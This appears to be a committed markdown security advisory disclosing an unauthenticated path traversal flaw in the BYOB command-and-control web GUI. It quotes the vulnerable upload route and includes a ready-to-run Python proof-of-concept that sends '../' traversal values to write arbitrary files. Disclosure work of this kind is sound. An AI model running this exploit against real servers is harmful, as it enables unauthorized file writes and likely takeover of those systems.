|
| 1 | +# BYOB Arbitrary File Write |
| 2 | + |
| 3 | +The open-source command and control software [BYOB](https://github.com/malwaredllc/byob) suffers from a path traversal vulnerability. An unauthenticated attacker exploiting this vulnerability is able to write files to arbitrary locations. |
| 4 | + |
| 5 | +## Vulnerability |
| 6 | + |
| 7 | +The vulnerable code can be found in `web-gui/buildyourownbotnet/api/files/routes.py`: |
| 8 | + |
| 9 | +```python |
| 10 | +@files.route("/api/file/add", methods=["POST"]) |
| 11 | +def file_add(): |
| 12 | + """Upload new exfilrated file.""" |
| 13 | + b64_data = request.form.get('data') |
| 14 | + filetype = request.form.get('type') |
| 15 | + owner = request.form.get('owner') |
| 16 | + module = request.form.get('module') |
| 17 | + session = request.form.get('session') |
| 18 | + filename = request.form.get('filename') |
| 19 | + |
| 20 | + # ... |
| 21 | + |
| 22 | + output_path = os.path.join(os.getcwd(), 'buildyourownbotnet/output', owner, 'files', filename) |
| 23 | + |
| 24 | + # ... |
| 25 | + |
| 26 | + # save exfiltrated file to user directory |
| 27 | + with open(output_path, 'wb') as fp: |
| 28 | + fp.write(data) |
| 29 | + |
| 30 | + return filename |
| 31 | + |
| 32 | +``` |
| 33 | + |
| 34 | +Accessing this API doesn't require authentication and it allows an attacker to write arbitrary data to an arbitrary location as demonstrated by the following PoC: |
| 35 | + |
| 36 | +```python |
| 37 | +#!/usr/bin/env python3 |
| 38 | +import requests |
| 39 | +import base64 |
| 40 | +import argparse |
| 41 | + |
| 42 | +def exploit(url, data, filename): |
| 43 | + output = requests.post('{}/api/file/add'.format(url), data={'data': base64.b64encode(data), 'type': '', 'owner': '../api/', 'module': '', 'session': '', 'filename': '../../../' + filename}).text |
| 44 | + return output == '../../../' + filename |
| 45 | + |
| 46 | +if __name__ == '__main__': |
| 47 | + parser = argparse.ArgumentParser(description='Arbitrary file write on BYOB') |
| 48 | + parser.add_argument('url', help='base url of the BYOB installation (e.g. http://localhost/)') |
| 49 | + parser.add_argument('data', help='data to write') |
| 50 | + parser.add_argument('filename', help='file name relative to the web-gui directory') |
| 51 | + |
| 52 | + args = parser.parse_args() |
| 53 | + |
| 54 | + print(exploit(args.url, args.data, args.filename)) |
| 55 | + |
| 56 | +``` |
0 commit comments